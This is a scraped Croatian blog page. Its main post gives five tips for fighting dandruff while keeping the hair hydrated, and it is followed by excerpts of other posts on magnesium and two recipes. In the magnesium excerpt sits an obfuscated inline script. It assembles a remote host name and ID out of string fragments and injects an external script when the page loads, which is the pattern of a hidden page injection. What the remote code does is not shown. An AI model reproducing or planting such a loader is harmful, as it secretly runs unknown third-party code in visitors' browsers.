KAKO SE RIJEŠITI PERUTI BEZ ISUŠIVANJA KOSE?


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Kako se riješiti peruti bez isušivanja kose?


https://grazia.hr/kosa-perut/

 Važno je pristupiti ovom problemu promišljeno i nježno, s fokusom na ravnotežu vlasišta, a ne na njegovo isušivanje. Stoga u nastavku donosim pet provjerenih savjeta kako smanjiti perut, a pritom zadržati kosu zdravom, sjajnom i hidriranom.




Šampon protiv peruti treba smirivati vlasište

Najčešća pogreška jest korištenje prejakih šampona koji trenutačno uklanjaju perut, ali dugoročno narušavaju zaštitnu barijeru vlasišta. Naime, kad se vlasište isuši, ono često reagira još jačim ljuštenjem i pojačanim lučenjem sebuma. Dobar šampon protiv peruti trebao bi ciljano djelovati na uzrok problema, a istovremeno sadržavati sastojke koji štite i hidriraju kosu. Ako nakon pranja osjećate zatezanje ili vam je kosa gruba na dodir, to je znak da proizvod nije dobar odabir za dugoročno korištenje.



Ravnoteža u pranju kose ključna je za stabilno vlasište

Ni pretjerano često, ni rijetko pranje neće pomoći kod peruti. Prečesto pranje dodatno isušuje kožu glave, dok prerijetko pranje dovodi do nakupljanja sebuma, znoja i ostataka proizvoda koji mogu pogoršati stanje. Idealno je pronaći ritam koji odgovara vašem vlasištu, najčešće svaka dva do tri dana. Redovitost je važnija od učestalosti jer pomaže vlasištu da se smiri i vrati u ravnotežu.



Vlasište treba ciljanu njegu, baš kao i koža lica

Perut nije problem kose, nego vlasišta, zbog čega klasična rutina često nije dovoljna. Povremen blagi piling vlasišta može pomoći u uklanjanju nakupljenih odumrlih stanica i ostataka proizvoda, ali bez agresivnog trljanja. Uz to, serumi ili tonici za vlasište mogu djelovati umirujuće, hidratantno i potporno u obnovi kožne barijere. Ključno je birati proizvode formulirane upravo za vlasište, a ne improvizirane metode koje mogu dodatno iritirati kožu.



Hidracija dužine kose ne pogoršava perut

Jedan od najčešćih mitova je taj da regeneratori i maske pogoršavaju perut. Istina je suprotna – suha, dehidrirana kosa dodatno naglašava problem i čini cijeli izgled neurednim. Regenerator i masku treba koristiti redovito, ali pravilno: nanositi ih isključivo na dužinu i vrhove, izbjegavajući područje vlasišta. Na taj način kosa ostaje mekana i njegovana, dok se vlasište ne opterećuje.



Stres, prehrana i umor često su okidači peruti

Perut se često pojačava u razdobljima povećanog stresa, lošeg sna ili neuravnotežene prehrane. Hormonalne promjene i iscrpljenost organizma također mogu utjecati na stanje vlasišta. Ako se perut stalno vraća unatoč pravilnoj njezi, vrijedi pogledati širu sliku.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više